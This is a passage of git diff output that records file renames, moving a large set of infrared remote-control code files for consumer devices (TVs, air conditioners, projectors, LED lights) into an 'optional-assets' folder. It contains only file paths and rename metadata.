optional-assets}/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/7,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/VCR/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Video Projector/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/Video Projector/6,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/huth/Unknown_prof/15,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/iPort/MP3 Player/1,222.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/iPort/iPod/1,222.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/iPort/iPort/1,222.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/konig/Unknown_konig/128,99.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/orion/Unknown_orion/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/sun/Unknown_sun/26,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/SAT/97,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/Unknown_universum/16,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/VCR/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir (100%) diff --git a/assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir b/assets/resources/infrared/optional-assets/ACs/Dreo/Dreo_Heater.ir similarity index 100% rename from assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir rename to assets/resources/infrared/optional-assets/ACs/Dreo/Dreo_Heater.ir diff --git a/assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir b/assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir similarity index 100% rename from assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir rename to assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir diff --git a/assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir b/assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_HP09.ir similarity index 100% rename from assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir rename to assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_HP09.ir diff --git a/assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir b/assets/resources/infrared/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir similarity index 100% rename from assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir rename to assets/resources/infrared/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir diff --git a/assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir b/assets/resources/infrared/optional-assets/ACs/Homedics/Homedics_Humidifier.ir similarity index 100% rename from assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir rename to assets/resources/infrared/optional-assets/ACs/Homedics/Homedics_Humidifier.ir diff --git a/assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir b/assets/resources/infrared/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir similarity index 100% rename from assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir rename to assets/resources/infrared/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir diff --git a/assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir b/assets/resources/infrared/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir similarity index 100% rename from assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir rename to assets/resources/infrared/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir diff --git a/assets/resources/infrared/ACs/Koldfront_wac12001.ir b/assets/resources/infrared/optional-assets/ACs/Koldfront_wac12001.ir similarity index 100% rename from assets/resources/infrared/ACs/Koldfront_wac12001.ir rename to assets/resources/infrared/optional-assets/ACs/Koldfront_wac12001.ir diff --git a/assets/resources/infrared/ACs/LG/LG_AC.ir b/assets/resources/infrared/optional-assets/ACs/LG/LG_AC.ir similarity index 100% rename from assets/resources/infrared/ACs/LG/LG_AC.ir rename to assets/resources/infrared/optional-assets/ACs/LG/LG_AC.ir diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir b/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan.ir similarity index 100% rename from assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir rename to assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan.ir diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir b/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir similarity index 100% rename from assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir rename to assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir b/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Heater.ir similarity index 100% rename from assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir rename to assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Heater.ir diff --git a/assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir b/assets/resources/infrared/optional-assets/ACs/Pelonis_PFS40D6ABB.ir similarity index 100% rename from assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir rename to assets/resources/infrared/optional-assets/ACs/Pelonis_PFS40D6ABB.ir diff --git a/assets/resources/infrared/ACs/Vornado/Vornado.ir b/assets/resources/infrared/optional-assets/ACs/Vornado/Vornado.ir similarity index 100% rename from assets/resources/infrared/ACs/Vornado/Vornado.ir rename to assets/resources/infrared/optional-assets/ACs/Vornado/Vornado.ir diff --git a/assets/resources/infrared/ACs/Whynter/Whynter_AC.ir b/assets/resources/infrared/optional-assets/ACs/Whynter/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/ACs/Whynter/Whynter_AC.ir rename to assets/resources/infrared/optional-assets/ACs/Whynter/Whynter_AC.ir diff --git a/assets/resources/infrared/ACs/Zenith/Zenith_AC.ir b/assets/resources/infrared/optional-assets/ACs/Zenith/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/ACs/Zenith/Zenith_AC.ir rename to assets/resources/infrared/optional-assets/ACs/Zenith/Zenith_AC.ir diff --git a/assets/resources/infrared/Amino_amigo.ir b/assets/resources/infrared/optional-assets/Amino_amigo.ir similarity index 100% rename from assets/resources/infrared/Amino_amigo.ir rename to assets/resources/infrared/optional-assets/Amino_amigo.ir diff --git a/assets/resources/infrared/Amz_snd_bar.ir b/assets/resources/infrared/optional-assets/Amz_snd_bar.ir similarity index 100% rename from assets/resources/infrared/Amz_snd_bar.ir rename to assets/resources/infrared/optional-assets/Amz_snd_bar.ir diff --git a/assets/resources/infrared/Apple_tv.ir b/assets/resources/infrared/optional-assets/Apple_tv.ir similarity index 100% rename from assets/resources/infrared/Apple_tv.ir rename to assets/resources/infrared/optional-assets/Apple_tv.ir diff --git a/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir b/assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo.ir similarity index 100% rename from assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir rename to assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo.ir diff --git a/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir b/assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir similarity index 100% rename from assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir rename to assets/resources/infrared/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir diff --git a/assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir b/assets/resources/infrared/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir similarity index 100% rename from assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir rename to assets/resources/infrared/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir diff --git a/assets/resources/infrared/BenQ.ir b/assets/resources/infrared/optional-assets/BenQ.ir similarity index 100% rename from assets/resources/infrared/BenQ.ir rename to assets/resources/infrared/optional-assets/BenQ.ir diff --git a/assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir b/assets/resources/infrared/optional-assets/Blu-Ray/LG/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir rename to assets/resources/infrared/optional-assets/Blu-Ray/LG/LG_BlueRay.ir diff --git a/assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir b/assets/resources/infrared/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir similarity index 100% rename from assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir rename to assets/resources/infrared/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir diff --git a/assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir b/assets/resources/infrared/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir rename to assets/resources/infrared/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir diff --git a/assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir b/assets/resources/infrared/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir similarity index 100% rename from assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir rename to assets/resources/infrared/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir diff --git a/assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir b/assets/resources/infrared/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir similarity index 100% rename from assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir rename to assets/resources/infrared/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir diff --git a/assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir b/assets/resources/infrared/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir similarity index 100% rename from assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir rename to assets/resources/infrared/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir diff --git a/assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir b/assets/resources/infrared/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir similarity index 100% rename from assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir rename to assets/resources/infrared/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir diff --git a/assets/resources/infrared/Cameras/Sony/Nikon.ir b/assets/resources/infrared/optional-assets/Cameras/Sony/Nikon.ir similarity index 100% rename from assets/resources/infrared/Cameras/Sony/Nikon.ir rename to assets/resources/infrared/optional-assets/Cameras/Sony/Nikon.ir diff --git a/assets/resources/infrared/Cameras/Sony/Sony.ir b/assets/resources/infrared/optional-assets/Cameras/Sony/Sony.ir similarity index 100% rename from assets/resources/infrared/Cameras/Sony/Sony.ir rename to assets/resources/infrared/optional-assets/Cameras/Sony/Sony.ir diff --git a/assets/resources/infrared/Casio-Projector_yt130.ir b/assets/resources/infrared/optional-assets/Casio-Projector_yt130.ir similarity index 100% rename from assets/resources/infrared/Casio-Projector_yt130.ir rename to assets/resources/infrared/optional-assets/Casio-Projector_yt130.ir diff --git a/assets/resources/infrared/Consoles/Microsoft/Xbox.ir b/assets/resources/infrared/optional-assets/Consoles/Microsoft/Xbox.ir similarity index 100% rename from assets/resources/infrared/Consoles/Microsoft/Xbox.ir rename to assets/resources/infrared/optional-assets/Consoles/Microsoft/Xbox.ir diff --git a/assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir b/assets/resources/infrared/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir similarity index 100% rename from assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir rename to assets/resources/infrared/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir diff --git a/assets/resources/infrared/Converters/ReadMe.md b/assets/resources/infrared/optional-assets/Converters/ReadMe.md similarity index 100% rename from assets/resources/infrared/Converters/ReadMe.md rename to assets/resources/infrared/optional-assets/Converters/ReadMe.md diff --git a/assets/resources/infrared/Cv610_remote.ir b/assets/resources/infrared/optional-assets/Cv610_remote.ir similarity index 100% rename from assets/resources/infrared/Cv610_remote.ir rename to assets/resources/infrared/optional-assets/Cv610_remote.ir diff --git a/assets/resources/infrared/Da_lite_proj_scrn.ir b/assets/resources/infrared/optional-assets/Da_lite_proj_scrn.ir similarity index 100% rename from assets/resources/infrared/Da_lite_proj_scrn.ir rename to assets/resources/infrared/optional-assets/Da_lite_proj_scrn.ir diff --git a/assets/resources/infrared/Direct_tv.ir b/assets/resources/infrared/optional-assets/Direct_tv.ir similarity index 100% rename from assets/resources/infrared/Direct_tv.ir rename to assets/resources/infrared/optional-assets/Direct_tv.ir diff --git a/assets/resources/infrared/Dragonfly_scrn.ir b/assets/resources/infrared/optional-assets/Dragonfly_scrn.ir similarity index 100% rename from assets/resources/infrared/Dragonfly_scrn.ir rename to assets/resources/infrared/optional-assets/Dragonfly_scrn.ir diff --git a/assets/resources/infrared/Dreo_heater.ir b/assets/resources/infrared/optional-assets/Dreo_heater.ir similarity index 100% rename from assets/resources/infrared/Dreo_heater.ir rename to assets/resources/infrared/optional-assets/Dreo_heater.ir diff --git a/assets/resources/infrared/Dyson_air_multiplier.ir b/assets/resources/infrared/optional-assets/Dyson_air_multiplier.ir similarity index 100% rename from assets/resources/infrared/Dyson_air_multiplier.ir rename to assets/resources/infrared/optional-assets/Dyson_air_multiplier.ir diff --git a/assets/resources/infrared/Dyson_hp09.ir b/assets/resources/infrared/optional-assets/Dyson_hp09.ir similarity index 100% rename from assets/resources/infrared/Dyson_hp09.ir rename to assets/resources/infrared/optional-assets/Dyson_hp09.ir diff --git a/assets/resources/infrared/Epson.ir b/assets/resources/infrared/optional-assets/Epson.ir similarity index 100% rename from assets/resources/infrared/Epson.ir rename to assets/resources/infrared/optional-assets/Epson.ir diff --git a/assets/resources/infrared/Hdmi_switch.ir b/assets/resources/infrared/optional-assets/Hdmi_switch.ir similarity index 100% rename from assets/resources/infrared/Hdmi_switch.ir rename to assets/resources/infrared/optional-assets/Hdmi_switch.ir diff --git a/assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir b/assets/resources/infrared/optional-assets/Head Units/GPX/GPX_CDRadio.ir similarity index 100% rename from assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir rename to assets/resources/infrared/optional-assets/Head Units/GPX/GPX_CDRadio.ir diff --git a/assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir b/assets/resources/infrared/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir similarity index 100% rename from assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir rename to assets/resources/infrared/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir diff --git a/assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir b/assets/resources/infrared/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir rename to assets/resources/infrared/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir b/assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir rename to assets/resources/infrared/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir diff --git a/assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir b/assets/resources/infrared/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir rename to assets/resources/infrared/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir diff --git a/assets/resources/infrared/LED Lighting/mlambert_rope_light.ir b/assets/resources/infrared/optional-assets/LED Lighting/mlambert_rope_light.ir similarity index 100% rename from assets/resources/infrared/LED Lighting/mlambert_rope_light.ir rename to assets/resources/infrared/optional-assets/LED Lighting/mlambert_rope_light.ir diff --git a/assets/resources/infrared/LG_AC.ir b/assets/resources/infrared/optional-assets/LG_AC.ir similarity index 100% rename from assets/resources/infrared/LG_AC.ir rename to assets/resources/infrared/optional-assets/LG_AC.ir diff --git a/assets/resources/infrared/LG_BlueRay.ir b/assets/resources/infrared/optional-assets/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/LG_BlueRay.ir rename to assets/resources/infrared/optional-assets/LG_BlueRay.ir diff --git a/assets/resources/infrared/LG_C1.ir b/assets/resources/infrared/optional-assets/LG_C1.ir similarity index 100% rename from assets/resources/infrared/LG_C1.ir rename to assets/resources/infrared/optional-assets/LG_C1.ir diff --git a/assets/resources/infrared/Lasko_fan.ir b/assets/resources/infrared/optional-assets/Lasko_fan.ir similarity index 100% rename from assets/resources/infrared/Lasko_fan.ir rename to assets/resources/infrared/optional-assets/Lasko_fan.ir diff --git a/assets/resources/infrared/Lasko_heater.ir b/assets/resources/infrared/optional-assets/Lasko_heater.ir similarity index 100% rename from assets/resources/infrared/Lasko_heater.ir rename to assets/resources/infrared/optional-assets/Lasko_heater.ir diff --git a/assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir b/assets/resources/infrared/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir similarity index 100% rename from assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir rename to assets/resources/infrared/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir diff --git a/assets/resources/infrared/Miscellaneous/HDMI_Switch.ir b/assets/resources/infrared/optional-assets/Miscellaneous/HDMI_Switch.ir similarity index 100% rename from assets/resources/infrared/Miscellaneous/HDMI_Switch.ir rename to assets/resources/infrared/optional-assets/Miscellaneous/HDMI_Switch.ir diff --git a/assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir b/assets/resources/infrared/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir similarity index 100% rename from assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir rename to assets/resources/infrared/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir diff --git a/assets/resources/infrared/Miscellaneous/LG/LG.ir b/assets/resources/infrared/optional-assets/Miscellaneous/LG/LG.ir similarity index 100% rename from assets/resources/infrared/Miscellaneous/LG/LG.ir rename to assets/resources/infrared/optional-assets/Miscellaneous/LG/LG.ir diff --git a/assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir b/assets/resources/infrared/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir similarity index 100% rename from assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir rename to assets/resources/infrared/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir diff --git a/assets/resources/infrared/Miscellaneous/ReadMe.md b/assets/resources/infrared/optional-assets/Miscellaneous/ReadMe.md similarity index 100% rename from assets/resources/infrared/Miscellaneous/ReadMe.md rename to assets/resources/infrared/optional-assets/Miscellaneous/ReadMe.md diff --git a/assets/resources/infrared/NEC.ir b/assets/resources/infrared/optional-assets/NEC.ir similarity index 100% rename from assets/resources/infrared/NEC.ir rename to assets/resources/infrared/optional-assets/NEC.ir diff --git a/assets/resources/infrared/Nikon.ir b/assets/resources/infrared/optional-assets/Nikon.ir similarity index 100% rename from assets/resources/infrared/Nikon.ir rename to assets/resources/infrared/optional-assets/Nikon.ir diff --git a/assets/resources/infrared/Old_sonyxbr.ir b/assets/resources/infrared/optional-assets/Old_sonyxbr.ir similarity index 100% rename from assets/resources/infrared/Old_sonyxbr.ir rename to assets/resources/infrared/optional-assets/Old_sonyxbr.ir diff --git a/assets/resources/infrared/Panasonic_TC-P50S2.ir b/assets/resources/infrared/optional-assets/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/Panasonic_TC-P50S2.ir rename to assets/resources/infrared/optional-assets/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/Pioneer_1770nex.ir b/assets/resources/infrared/optional-assets/Pioneer_1770nex.ir similarity index 100% rename from assets/resources/infrared/Pioneer_1770nex.ir rename to assets/resources/infrared/optional-assets/Pioneer_1770nex.ir diff --git a/assets/resources/infrared/Projectors/BenQ/BenQ.ir b/assets/resources/infrared/optional-assets/Projectors/BenQ/BenQ.ir similarity index 100% rename from assets/resources/infrared/Projectors/BenQ/BenQ.ir rename to assets/resources/infrared/optional-assets/Projectors/BenQ/BenQ.ir diff --git 